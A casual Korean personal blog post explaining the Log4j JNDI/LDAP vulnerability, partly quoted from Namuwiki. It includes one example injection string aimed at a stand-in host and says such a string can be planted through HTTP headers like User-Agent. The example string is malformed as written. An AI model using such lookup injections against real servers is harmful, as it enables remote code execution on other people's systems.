이번에 Log4j 취약점 이슈가 있어서 그냥 정리 해볼 겸 해서 적는 포스팅이다.
사실 Log4j에 대해서 별로 관심도 없고 가끔 로그 찍을 때나 찾아 보는 그런 기능이다.
글고 가끔 로그 찍히다가 Fatal 찍히면 오 뭐임 하면서 분석 들어가고 그런 ㅋㅋ
지금은 자바를 쓸 일이 없어서 안 본지 2년이 넘었음 ㅋㅋㅋ
1) Log4j란
log4j는 Apache 소프트웨어 라이선스에 따라 배포되는 Java로 작성된 안정적이고 빠르고 유연한 로깅 프레임워크(API)다. log4j는 C, C++, C#, Perl, Python, Ruby 및 Eiffel 언어로 이식되었습니다. log4j는 런타임에 외부 구성 파일을 통해 고도로 구성할 수 있습니다. 우선 순위 수준의 관점에서 로깅 프로세스를 보고 데이터베이스, 파일, 콘솔, UNIX Syslog 등과 같은 다양한 대상에 로깅 정보를 보내는 메커니즘을 제공합니다.
https://www.tutorialspoint.com/log4j/index.htm
log4j Tutorial
log4j Tutorial log4j is a reliable, fast and flexible logging framework (APIs) written in Java, which is distributed under the Apache Software License. log4j is a popular logging package written in Java. log4j has been ported to the C, C++, C#, Perl, Pytho
www.tutorialspoint.com
여기 잘 정리 되어 있어서 보면 읽어볼만 함.
2) 이번 취약 문제점?(나무 위키 펌.)
우선 이 취약점은 JNDI와 LDAP를 이용한다. JNDI는 Java Naming and Directory Interface의 약자로 1990년대 후반부터 Java에 추가된 인터페이스이다. Java 프로그램이 디렉토리를 통해 데이터(Java 객체 형태)를 찾을 수 있도록 하는 디렉토리 서비스이다.
JNDI는 이러한 디렉토리 서비스를 위해 다양한 인터페이스가 존재하는데 그 중 하나가 LDAP이다. 이 LDAP가 이번 취약점에 가장 중요한 포인트이다.
Java 프로그램들은 앞서 말한 JNDI와 LDAP를 통해 Java 객체를 찾을 수 있다. 예시로 URL ldap://localhost:389/o=JNDITutorial을 접속한다면 LDAP 서버에서 JNDITutorial 객체를 찾을 수 있는 것이다.
이러한 접근 인터페이스가 이번 사태에 치명적이게 된 이유는, Log4j에는 편리하게 사용하기 위해 ${prefix:name} 형식으로 Java 객체를 볼 수 있게 하는 문법이 존재하기 때문이다. 예를 들어 ${java:version}은 현재 실행 중인 Java 버전을 볼 수 있게 한다.
이런 문법은 로그가 기록될 때도 사용이 가능 했고, 결국 해커가 로그에 기록되는 곳을 찾아 ${jndi:sndi:snd://example.com/a}과 같은 값을 추가하기만 하면 취약점을 이용할 수 있는 것이다. 이 값을 넣는 방법은 User-Agent와 같은 일반적인 HTTP 헤더일 수도 있고 여러가지 방법이 있다.
아마 너무 쉽게 접근 가능하고 너무 많은 권한을 가지게 된 것이 문제 인 것 같다.
이거 쓰고 있는 곳들은 작업 올스탑하고 이거 대응하느라 녹아 내려가겠고만;;
강건너 불구경이긴한데 남일같지 않아 ㅋㅋ
댓글